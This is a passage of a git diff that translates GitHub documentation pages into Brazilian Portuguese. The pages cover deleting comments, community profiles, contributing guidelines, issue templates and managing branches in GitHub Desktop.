-Deleting a comment creates a timeline event that is visible to anyone with read access to the repository. However, the username of the person who deleted the comment is only visible to people with write access to the repository. For anyone without write access, the timeline event is anonymized.
+Excluir um comentário cria um evento na linha do tempo visível a qualquer um com acesso de leitura no repositório. No entanto, o nome de usuário da pessoa que excluiu o comentário somente pode ser visualizado pelas pessoas com acesso de gravação ao repositório. Para qualquer pessoa sem acesso de gravação, o evento na linha do tempo é anônimo.
 
-![Anonymized timeline event for a deleted comment](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
+![Evento anônimo de linha do tempo de um comentário excluído](/assets/images/help/issues/anonymized-timeline-entry-for-deleted-comment.png)
 
-If a comment contains some constructive content that adds to the conversation in the issue or pull request, you can edit the comment instead.
+Se o comentário contém algum conteúdo construtivo que contribui para a conversa sobre o problema ou pull request, você pode editar o comentário.
 
 {% note %}
 
-**Note:** The initial comment (or body) of an issue or pull request can't be deleted. Instead, you can edit issue and pull request bodies to remove unwanted content.
+**Observação:** o comentário inicial (ou texto) de um problema ou pull request não pode ser excluído. Entretanto, você pode editar textos de problemas e pull requests para remover conteúdo indesejável.
 
 {% endnote %}
 
-1. Navigate to the comment you'd like to delete.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete, and report options](/assets/images/help/repository/comment-menu.png)
-3. Optionally, write a comment noting that you deleted a comment and why.
+1. Navegue até o comentário que deseja excluir.
+2. No canto superior direito do comentário, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e em **Delete** (Excluir). ![Ícone horizontal kebab e menu comment moderation (moderação de comentários) mostrando as opções edit, hide, delete e report (editar, ocultar, excluir e denunciar)](/assets/images/help/repository/comment-menu.png)
+3. Opcionalmente, escreva um comentário informando que você deletou o comentário e por quê.
diff --git a/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md b/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
index e0cecf6b62..b6dccb128f 100644
--- a/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
+++ b/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: About community profiles for public repositories
-intro: Repository maintainers can review their public repository's community profile to learn how they can help grow their community and support contributors. Contributors can view a public repository's community profile to see if they want to contribute to the project.
+title: Sobre perfis de comunidade para repositórios públicos
+intro: Os mantenedores de repositório podem revisar o respectivo perfil de comunidade do repositório público para saber como podem ajudar a expandir a comunidade e dar suporte aos contribuidores. Os contribuidores podem exibir o perfil de comunidade de um repositório público para verificar se eles desejam contribuir com o projeto.
 redirect_from:
   - /articles/viewing-your-community-profile
   - /articles/about-community-profiles-for-public-repositories
@@ -10,36 +10,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Community profiles
+shortTitle: Perfis da comunidade
 ---
 
-The community profile checklist checks to see if a project includes recommended community health files, such as README, CODE_OF_CONDUCT, LICENSE, or CONTRIBUTING, in a supported location. For more information, see "[Accessing a project's community profile](/articles/accessing-a-project-s-community-profile)."
+A checklist do perfil de comunidade verifica se um projeto inclui arquivos recomendados de integridade da comunidade, como README, CODE_OF_CONDUCT, LICENSE ou CONTRIBUTING em um local compatível. Para obter mais informações, consulte "[Acessar perfil de comunidade de um projeto](/articles/accessing-a-project-s-community-profile)".
 
-## Using the community profile checklist as a repository maintainer
+## Usar a checklist do perfil de comunidade como um mantenedor de repositório
 
-As a repository maintainer, use the community profile checklist to see if your project meets the recommended community standards to help people use and contribute to your project. For more information, see "[Building community](https://opensource.guide/building-community/)" in the Open Source Guides.
+Como um mantenedor de repositório, use a checklist do perfil de comunidade para ver se o projeto atende aos padrões recomendados da comunidade de modo a ajudar as pessoas a usar e contribuir com seu projeto. Para obter mais informações, consulte "[Compilar comunidade](https://opensource.guide/building-community/)" nos Guias de código aberto.
 
-If a project doesn't have a recommended file, you can click **Add** to draft and submit a file.
+Se um projeto não tiver um arquivo recomendado, você poderá clicar em **Adicionar** para rascunhar e enviar uma arquivo.
 
-{% data reusables.repositories.valid-community-issues %} For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+{% data reusables.repositories.valid-community-issues %}Para obter mais informações, consulte "[Sobre modelos de problema e pull request](/articles/about-issue-and-pull-request-templates)".
 
-![Community profile checklist with recommended community standards for maintainers](/assets/images/help/repository/add-button-community-profile.png)
+![Checklist do perfil de comunidade com padrões recomendados da comunidade para mantenedores](/assets/images/help/repository/add-button-community-profile.png)
 
 {% data reusables.repositories.security-guidelines %}
 
-## Using the community profile checklist as a community member or collaborator
+## Usar a checklist do perfil de comunidade como integrante ou colaborador da comunidade
 
-As a potential contributor, use the community profile checklist to see if a project meets the recommended community standards and decide if you'd like to contribute. For more information, see "[How to contribute](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project)" in the Open Source Guides.
+Como um contribuidor potencial, use a checklist do perfil de comunidade para verificar se um projeto atende aos padrões recomendados da comunidade e decida se deseja contribuir. Para obter mais informações, consulte "[Como contribuir](https://opensource.guide/how-to-contribute/#anatomy-of-an-open-source-project)" nos Guias de código aberto.
 
-If a project doesn't have a recommended file, you can click **Propose** to draft and submit a file to the repository maintainer for approval.
+Se um projeto não tiver um arquivo recomendado, você poderá clicar em **Propor** para rascunhar e enviar um arquivo ao mantenedor de repositório para aprovação.
 
-![Community profile checklist with recommended community standards for contributors](/assets/images/help/repository/propose-button-community-profile.png)
+![Checklist do perfil de comunidade com padrões recomendados da comunidade para contribuidores](/assets/images/help/repository/propose-button-community-profile.png)
 
-## Further reading
+## Leia mais
 
-- "[Adding a code of conduct to your project](/articles/adding-a-code-of-conduct-to-your-project)"
-- "[Setting guidelines for repository contributors](/articles/setting-guidelines-for-repository-contributors)"
-- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
-- "[Open Source Guides](https://opensource.guide/)"
+- "[Adicionar um código de conduta ao seu projeto](/articles/adding-a-code-of-conduct-to-your-project)"
+- "[Configurar diretrizes para os contribuidores do repositório](/articles/setting-guidelines-for-repository-contributors)"
+- "[Adicionar uma licença a um repositório](/articles/adding-a-license-to-a-repository)"
+- "[Sobre modelos de problema e pull request](/articles/about-issue-and-pull-request-templates)"
+- "[Guias de código aberto](https://opensource.guide/)"
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
diff --git a/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/index.md
index f732f0c105..995caccaeb 100644
--- a/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/index.md
+++ b/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up your project for healthy contributions
-shortTitle: Healthy contributions
-intro: 'Repository maintainers can set contributing guidelines to help collaborators make meaningful, useful contributions to a project.'
+title: Configurar projeto para contribuições úteis
+shortTitle: Contribuições saudáveis
+intro: Os mantenedores de repositório podem definir diretrizes de contribuição para ajudar os colaboradores a fazer contribuições relevantes e úteis a um projeto.
 redirect_from:
   - /articles/helping-people-contribute-to-your-project
   - /articles/setting-up-your-project-for-healthy-contributions
diff --git a/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
index c5bb1df6a6..e7e99aba61 100644
--- a/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
+++ b/translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
@@ -1,6 +1,6 @@
 ---
-title: Setting guidelines for repository contributors
-intro: You can create guidelines to communicate how people should contribute to your project.
+title: Configurar diretrizes para os contribuidores do repositório
+intro: Você pode criar diretrizes para informar como as pessoas devem contribuir com o projeto.
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,57 +12,57 @@ redirect_from:
   - /github/building-a-strong-community/setting-guidelines-for-repository-contributors
 topics:
   - Community
-shortTitle: Contributor guidelines
+shortTitle: Diretrizes de contribuidor
 ---
-## About contributing guidelines
-To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). 
 
-![contributing-guidelines](/assets/images/help/pull_requests/contributing-guidelines.png)
+## Sobre diretrizes de contribuição
+Para ajudar os contribuidores do projeto a fazer um bom trabalho, você pode adicionar um arquivo com diretrizes de contribuição às pastas raiz, `docs` ou `.github` do repositório do projeto. Quando alguém abrir uma pull request ou criar um problema, verá um link para esse arquivo. O link para as diretrizes de contribuição também aparece na página `contribuir` do seu repositório. Para obter um exemplo da página de `contribuir`, consulte [github/docs/contribua](https://github.com/github/docs/contribute).
 
-For the repository owner, contribution guidelines are a way to communicate how people should contribute.
+![diretrizes de contribuição](/assets/images/help/pull_requests/contributing-guidelines.png)
 
-For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues.
+Para o proprietário do repositório, as diretrizes de contribuição são uma forma de informar como as pessoas devem contribuir.
 
-For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted.
+Para contribuidores, as diretrizes ajudam a verificar se eles estão enviando pull requests corretas e abrindo problemas úteis.
+
+Para proprietários e contribuidores, as diretrizes de contribuição economizam tempo e evitam aborrecimentos causados por pull requests ou problemas incorretos que precisam ser rejeitados e enviados novamente.
 
 {% ifversion fpt or ghes or ghec %}
 
-You can create default contribution guidelines for your organization{% ifversion fpt or ghes or ghec %} or user account{% endif %}. For more information, see "[Creating a default community health file](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+Você pode criar diretrizes de contribuição padrão para sua organização{% ifversion fpt or ghes or ghec %} ou conta de usuário{% endif %}. Para obter mais informações, consulte "[Criando um arquivo padrão de integridade da comunidade](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
 
 {% endif %}
 
 {% tip %}
 
-**Tip:** Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+**Dica:** os mantenedores de repositório podem configurar diretrizes específicas para problemas criando um modelo de problema ou pull request para o repositório. Para obter mais informações, consulte "[Sobre modelos de problema e pull request](/articles/about-issue-and-pull-request-templates)".
 
 {% endtip %}
 
-## Adding a *CONTRIBUTING* file
+## Adicionar um arquivo *CONTRIBUTING*
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)."
-  ![New file name](/assets/images/help/repository/new-file-name.png)
-    - To make your contributing guidelines visible in the repository's root directory, type *CONTRIBUTING*.
-    - To make your contributing guidelines visible in the repository's `docs` directory, type *docs/* to create the new directory, then *CONTRIBUTING*.
-    - If a repository contains more than one *CONTRIBUTING* file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory.
-4. In the new file, add contribution guidelines. These could include:
-    - Steps for creating good issues or pull requests.
-    - Links to external documentation, mailing lists, or a code of conduct.
-    - Community and behavioral expectations.
+3. Decida se deseja armazenar as diretrizes de contribuição no diretório root, `docs` ou `.github` do repositório. Em seguida, no campo de nome do arquivo, digite o nome e a extensão do arquivo. Os nomes de arquivos com diretrizes de contribuição não são sensíveis a maiúsculas de minúsculas. Os arquivos são renderizados no formato de texto rich se a extensão do arquivo estiver em um formato compatível. Para obter mais informações, consulte "[Trabalhando com arquivos sem código](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)". ![Nome do novo arquivo](/assets/images/help/repository/new-file-name.png)
+    - Para tornar as diretrizes de contribuição visíveis no diretório raiz do repositório, digite *CONTRIBUTING*.
+    - Para tornar as diretrizes de contribuição visíveis no diretório `docs` do repositório, digite *docs/* para criar o diretório e, em seguida, digite *CONTRIBUTING*.
+    - Se um repositório contiver mais de um arquivo *CONTRIBUTING*, o arquivo mostrado em links será escolhido entre locais na seguinte ordem: diretório do `.github`, em seguida, o diretório raiz do repositório e, finalmente, o diretório de `docs`.
+4. Adicione as diretrizes de contribuição ao novo arquivo. Elas podem conter:
+    - Etapas para criar bons problemas ou pull requests.
+    - Links para documentações externas, listas de distribuição ou um código de conduta.
+    - Expectativas de comportamento e da comunidade.
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Examples of contribution guidelines
+## Exemplos de diretrizes de contribuição
 
-If you're stumped, here are some good examples of contribution guidelines:
+Caso tenha dúvidas, estes são alguns bons exemplos de diretrizes de contribuição:
 
-- The Atom editor [contribution guidelines](https://github.com/atom/atom/blob/master/CONTRIBUTING.md).
-- The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/master/CONTRIBUTING.md).
-- The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md).
+- [Diretrizes de contribuição](https://github.com/atom/atom/blob/master/CONTRIBUTING.md) do editor Atom.
+- [Diretrizes de contribuição](https://github.com/rails/rails/blob/master/CONTRIBUTING.md) do Ruby on Rails.
+- [Diretrizes de contribuição](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md) do Open Government.
 
-## Further reading
-- The Open Source Guides' section "[Starting an Open Source Project](https://opensource.guide/starting-a-project/)"{% ifversion fpt or ghec %}
+## Leia mais
+- Seção "[Iniciar um projeto de código aberto](https://opensource.guide/starting-a-project/)" de Guias de código aberto{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}{% ifversion fpt or ghes or ghec %}
-- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"{% endif %}
+- "[Adicionar uma licença a um repositório](/articles/adding-a-license-to-a-repository)"{% endif %}
diff --git a/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
index 9974eff8e8..7f3fd363b1 100644
--- a/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
+++ b/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Using templates to encourage useful issues and pull requests
-shortTitle: Issue & PR templates
-intro: Repository maintainers can add templates in a repository to help contributors create high-quality issues and pull requests.
+title: Usando modelos para incentivar problemas úteis e receber pull request
+shortTitle: Problema & Modelos PR
+intro: Os mantenedores de repositório podem adicionar modelos a um repositório para ajudar os contribuidores a criar problemas e pull requests de alta qualidade.
 redirect_from:
   - /github/building-a-strong-community/using-issue-and-pull-request-templates
   - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository
diff --git a/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
index cbf6716233..08cbe9459c 100644
--- a/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
+++ b/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Manually creating a single issue template for your repository
-intro: 'When you add a manually-created issue template to your repository, project contributors will automatically see the template''s contents in the issue body.'
+title: Criar manualmente um modelo único de problema no repositório
+intro: 'Ao adicionar um modelo de problema criado manualmente no repositório, os colaboradores de projetos verão automaticamente o conteúdo do modelo no texto do problema.'
 redirect_from:
   - /articles/creating-an-issue-template-for-your-repository
   - /articles/manually-creating-a-single-issue-template-for-your-repository
@@ -12,29 +12,29 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create an issue template
+shortTitle: Criar um modelo de problema
 ---
 
 {% data reusables.repositories.legacy-issue-template-tip %}
 
-You can create an *ISSUE_TEMPLATE/* subdirectory in any of the supported folders to contain multiple issue templates, and use the `template` query parameter to specify the template that will fill the issue body. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
+Você pode criar um subdiretório *ISSUE_TEMPLATE/* (MODELO_DE_PROBLEMA) em qualquer uma das pastas compatíveis. Assim, é possível incluir vários modelos de problemas e usar o parâmetro de consulta `template` (modelo) para especificar o modelo que irá preencher o texto do problema. Para obter mais informações, consulte "[Sobre automação de problemas e pull requests com parâmetros de consulta](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)".
 
-You can add YAML frontmatter to each issue template to pre-fill the issue title, automatically add labels and assignees, and give the template a name and description that will be shown in the template chooser that people see when creating a new issue in your repository.
+Você pode adicionar o YAML frontmatter a cada modelo de problema para preencher previamente o título do problema, adicionar rótulos e responsáveis ​​automaticamente e atribuir ao modelo um nome e uma descrição que serão mostrados no seletor de modelos que as pessoas veem ao criar um novo problema em seu repositório .
 
-Here is example YAML front matter.
+Aqui está um exemplo de YAML front matter.
 
 ```yaml
 ---
-name: Tracking issue
-about: Use this template for tracking new features.
+name: Rastreando problema
+about: Use este modelo para rastrear novos recursos.
 title: "[DATE]: [FEATURE NAME]"
-labels: tracking issue, needs triage
+labels: rastreando problema, precisa de triagem
 assignees: octocat
 ---
 ```
 {% note %}
 
-**Note:** If a front matter value includes a YAML-reserved character such as `:` , you must put the whole value in quotes. For example, `":bug: Bug"` or `":new: triage needed, :bug: bug"`.
+**Nota:** Se um valor da matéria frontal incluir um caractere reservado em YAML como `:`, você deverá colocar todo o valor entre aspas. Por exemplo, `":bug: Bug"` ou `":new: triagem necessária, :bug: bug"`.
 
 {% endnote %}
 
@@ -50,31 +50,27 @@ assignees: octocat
 
 {% endif %}
 
-## Adding an issue template
+## Adicionar um modelo de problema
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field:
-    -  To make your issue template visible in the repository's root directory, type the name of your *issue_template*. For example, `issue_template.md`.
-  ![New issue template name in root directory](/assets/images/help/repository/issue-template-file-name.png)
-    - To make your issue template visible in the repository's `docs` directory, type *docs/* followed by the name of your *issue_template*. For example, `docs/issue_template.md`,
-  ![New issue template in docs directory](/assets/images/help/repository/issue-template-file-name-docs.png)
-    - To store your file in a hidden directory, type *.github/* followed by the name of your *issue_template*. For example, `.github/issue_template.md`.
-  ![New issue template in hidden directory](/assets/images/help/repository/issue-template-hidden-directory.png)
-    - To create multiple issue templates and use the `template` query parameter to specify a template to fill the issue body, type *.github/ISSUE_TEMPLATE/*, then the name of your issue template. For example, `.github/ISSUE_TEMPLATE/issue_template.md`. You can also store multiple issue templates in an `ISSUE_TEMPLATE` subdirectory within the root or `docs/` directories. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
-  ![New multiple issue template in hidden directory](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
-4. In the body of the new file, add your issue template. This could include:
+3. No campo nome do arquivo:
+    -  Para que seu modelo de problema seja visível no diretório raiz do repositório, digite o nome de seu *issue_template* (modelo_de_problema). Por exemplo, `issue_template.md`. ![Novo nome de modelo de problema no diretório raiz](/assets/images/help/repository/issue-template-file-name.png)
+    - Para que seu modelo de problema seja visível no diretório `docs` do repositório, digite *docs/* seguido pelo nome de seu *issue_template* (modelo_de_problema). Por exemplo, `docs/issue_template.md`. ![Novo modelo de problema no diretório docs](/assets/images/help/repository/issue-template-file-name-docs.png)
+    - Para armazenar seu arquivo em um diretório oculto, digite *.github/* seguido do nome de seu *issue_template* (modelo_de_problema). Por exemplo, `.github/issue_template.md`. ![Novo modelo de problema no diretório oculto](/assets/images/help/repository/issue-template-hidden-directory.png)
+    - Para criar vários modelos de problemas e usar o parâmetro de consulta `template` (modelo) para especificar um modelo para preencher o texto do problema, digite *.github/ISSUE_TEMPLATE/* (.github/MODELO_DE_PROBLEMA) e o nome de seu modelo de problema. Por exemplo, `.github/ISSUE_TEMPLATE/issue_template.md`. Também é possível armazenar vários modelos de problemas em um subdiretório `ISSUE_TEMPLATE` (MODELO_DE_PROBLEMA) nos diretórios raiz ou `docs/`. Para obter mais informações, consulte "[Sobre automação de problemas e pull requests com parâmetros de consulta](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)". ![Vários novos modelos de problemas no diretório oculto](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
+4. No texto do novo arquivo, adicione seu modelo de problema. Pode conter:
     - YAML frontmatter
-    - Expected behavior and actual behavior
-    - Steps to reproduce the problem
-    - Specifications like the version of the project, operating system, or hardware
+    - Comportamento esperado e comportamento atual
+    - Etapas para reproduzir o problema
+    - Especificações como a versão do projeto, sistema operacional ou hardware
 {% data reusables.files.write_commit_message %}
-{% data reusables.files.choose_commit_branch %} Templates are available to collaborators when they are merged into the repository's default branch.
+{% data reusables.files.choose_commit_branch %} Os modelos são disponibilizados para os colaboradores quando sofrem merge no branch padrão do repositório.
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## Leia mais
 
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
-- "[Configuring issue templates for your repository](/articles/configuring-issue-templates-for-your-repository)"
-- "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)"
-- "[Creating an issue](/articles/creating-an-issue)"
+- "[Sobre modelos de problema e pull request](/articles/about-issue-and-pull-request-templates)"
+- "[Configurando modelos de problemas para seu repositório](/articles/configuring-issue-templates-for-your-repository)"
+- "[Sobre automação de problemas e pull requests com parâmetros de consulta](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)"
+- "[Criar um problema](/articles/creating-an-issue)"
diff --git a/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md b/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md
index e2f50add97..a286f7ba1d 100644
--- a/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md
+++ b/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md
@@ -1,6 +1,6 @@
 ---
-title: Managing branches
-intro: You can create a branch off of a repository's default branch so you can safely experiment with changes.
+title: Gerenciar branches
+intro: Você pode criar um branch fora do branch-padrão de um repositório para poder experimentar as alterações com segurança.
 redirect_from:
   - /desktop/contributing-to-projects/creating-a-branch-for-your-work
   - /desktop/contributing-to-projects/switching-between-branches
@@ -9,115 +9,112 @@ redirect_from:
 versions:
   fpt: '*'
 ---
-## About managing branches
-You can use branches to safely experiment with changes to your project. Branches isolate your development work from other branches in the repository. For example, you could use a branch to develop a new feature or fix a bug.
 
-You always create a branch from an existing branch. Typically, you might create a branch from the default branch of your repository. You can then work on this new branch in isolation from changes that other people are making to the repository.
+## Sobre o gerenciamento de branches
+Você pode usar os branches para experimentar com segurança as alterações no seu projeto. Os branches isolam seu trabalho de desenvolvimento de outros branches do repositório. Por exemplo, você poderia usar um branch para desenvolver um novo recurso ou corrigir um erro.
 
-You can also create a branch starting from a previous commit in a branch's history. This can be helpful if you need to return to an earlier view of the repository to investigate a bug, or to create a hot fix on top of your latest release.
+Você sempre cria um branch a partir de um branch existente. Normalmente, você pode criar um branch a partir do branch-padrão do seu repositório. Você então poderá trabalhar nesse novo branch isolado das mudanças que outras pessoas estão fazendo no repositório.
 
-Once you're satisfied with your work, you can create a pull request to merge your changes in the current branch into another branch. For more information, see "[Creating an issue or pull request](/desktop/contributing-to-projects/creating-an-issue-or-pull-request)" and "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+Você também pode criar um branch a partir de um commit anterior no histórico de um branch. Isso pode ser útil se você precisar retornar a uma visão anterior do repositório para investigar um erro ou para criar uma correção em cima de sua versão mais recente.
 
-You can always create a branch in {% data variables.product.prodname_desktop %} if you have read access to a repository, but you can only push the branch to {% data variables.product.prodname_dotcom %} if you have write access to the repository.
+Quando estiver satisfeito com seu trabalho, você poderá criar um pull request para fazer merge nas suas alterações no branch atual em outro branch. Para obter mais informações, consulte "[Criar um problema ou pull request](/desktop/contributing-to-projects/creating-an-issue-or-pull-request)" e "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)".
+
+É sempre possível criar um branch no {% data variables.product.prodname_desktop %}, se tiver acesso de leitura a um repositório, mas você só pode fazer push do branch para o {% data variables.product.prodname_dotcom %} se você tiver acesso de gravação no repositório.
 
 {% data reusables.desktop.protected-branches %}
 
-## Creating a branch
+## Criar um branch
 
 {% tip %}
 
-**Tip:** The first new branch you create will be based on the default branch. If you have more than one branch, you can choose to base the new branch on the currently checked out branch or the default branch.
+**Dica:** O primeiro branch que você criar será baseado no branch-padrão. Se você tiver mais de um branch, você pode escolher basear o novo branch no branch atualmente verificado ou no branch-padrão.
 
 {% endtip %}
 
 {% mac %}
 
 {% data reusables.desktop.click-base-branch-in-drop-down %}
-  ![Drop-down menu to switch your current branch](/assets/images/help/desktop/select-branch-from-dropdown.png)
+  ![Menu suspenso para alternar o branch atual](/assets/images/help/desktop/select-branch-from-dropdown.png)
 {% data reusables.desktop.create-new-branch %}
-  ![New Branch option in the Branch menu](/assets/images/help/desktop/new-branch-button-mac.png)
+  ![Opção New Branch (Novo branch) no menu Branch](/assets/images/help/desktop/new-branch-button-mac.png)
 {% data reusables.desktop.name-branch %}
-  ![Field for creating a name for the new branch](/assets/images/help/desktop/create-branch-name-mac.png)
+  ![Campo para criar um nome para o novo branch](/assets/images/help/desktop/create-branch-name-mac.png)
 {% data reusables.desktop.select-base-branch %}
-  ![Base branch options](/assets/images/help/desktop/create-branch-choose-branch-mac.png)
+  ![Opções do branch base](/assets/images/help/desktop/create-branch-choose-branch-mac.png)
 {% data reusables.desktop.confirm-new-branch-button %}
-  ![Create Branch button](/assets/images/help/desktop/create-branch-button-mac.png)
+  ![Botão Create Branch (Criar branch)](/assets/images/help/desktop/create-branch-button-mac.png)
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.desktop.click-base-branch-in-drop-down %}
-  ![Drop-down menu to switch your current branch](/assets/images/help/desktop/click-branch-in-drop-down-win.png)
+  ![Menu suspenso para alternar o branch atual](/assets/images/help/desktop/click-branch-in-drop-down-win.png)
 {% data reusables.desktop.create-new-branch %}
-  ![New Branch option in the Branch menu](/assets/images/help/desktop/new-branch-button-win.png)
+  ![Opção New Branch (Novo branch) no menu Branch](/assets/images/help/desktop/new-branch-button-win.png)
 {% data reusables.desktop.name-branch %}
-  ![Field for creating a name for the new branch](/assets/images/help/desktop/create-branch-name-win.png)
+  ![Campo para criar um nome para o novo branch](/assets/images/help/desktop/create-branch-name-win.png)
 {% data reusables.desktop.select-base-branch %}
-  ![Base branch options](/assets/images/help/desktop/create-branch-choose-branch-win.png)
+  ![Opções do branch base](/assets/images/help/desktop/create-branch-choose-branch-win.png)
 {% data reusables.desktop.confirm-new-branch-button %}
-  ![Create branch button](/assets/images/help/desktop/create-branch-button-win.png)
+  ![Botão Create branch (Criar branch)](/assets/images/help/desktop/create-branch-button-win.png)
 
 {% endwindows %}
 
-## Creating a branch from a previous commit
+## Criando um branch de um commit anterior
 
 {% data reusables.desktop.history-tab %}
-2. Right-click on the commit you would like to create a new branch from and select **Create Branch from Commit**.
-  ![Create branch from commit context menu](/assets/images/help/desktop/create-branch-from-commit-context-menu.png)
+2. Clique com o botão direito no commit a partir do qual você gostaria de criar um novo branch e selecione **Criar Branch a partir de Commit**. ![Criar branch a partir do menu de contexto de commit](/assets/images/help/desktop/create-branch-from-commit-context-menu.png)
 {% data reusables.desktop.name-branch %}
 {% data reusables.desktop.confirm-new-branch-button %}
-  ![Create branch from commit](/assets/images/help/desktop/create-branch-from-commit-overview.png)
+  ![Criar branch a partir do commit](/assets/images/help/desktop/create-branch-from-commit-overview.png)
 
-## Publishing a branch
+## Publicar um branch
 
-If you create a branch on {% data variables.product.product_name %}, you'll need to publish the branch to make it available for collaboration on {% data variables.product.prodname_dotcom %}.
+Se você criar um branch no {% data variables.product.product_name %}, você deverá publicá-lo para disponibilizá-lo para colaboração no {% data variables.product.prodname_dotcom %}.
 
-1. At the top of the app, click {% octicon "git-branch" aria-label="The branch icon" %} **Current Branch**, then click the branch that you want to publish.
-  ![Drop-down menu to select which branch to publish](/assets/images/help/desktop/select-branch-from-dropdown.png)
-2. Click **Publish branch**.
-  ![The Publish branch button](/assets/images/help/desktop/publish-branch-button.png)
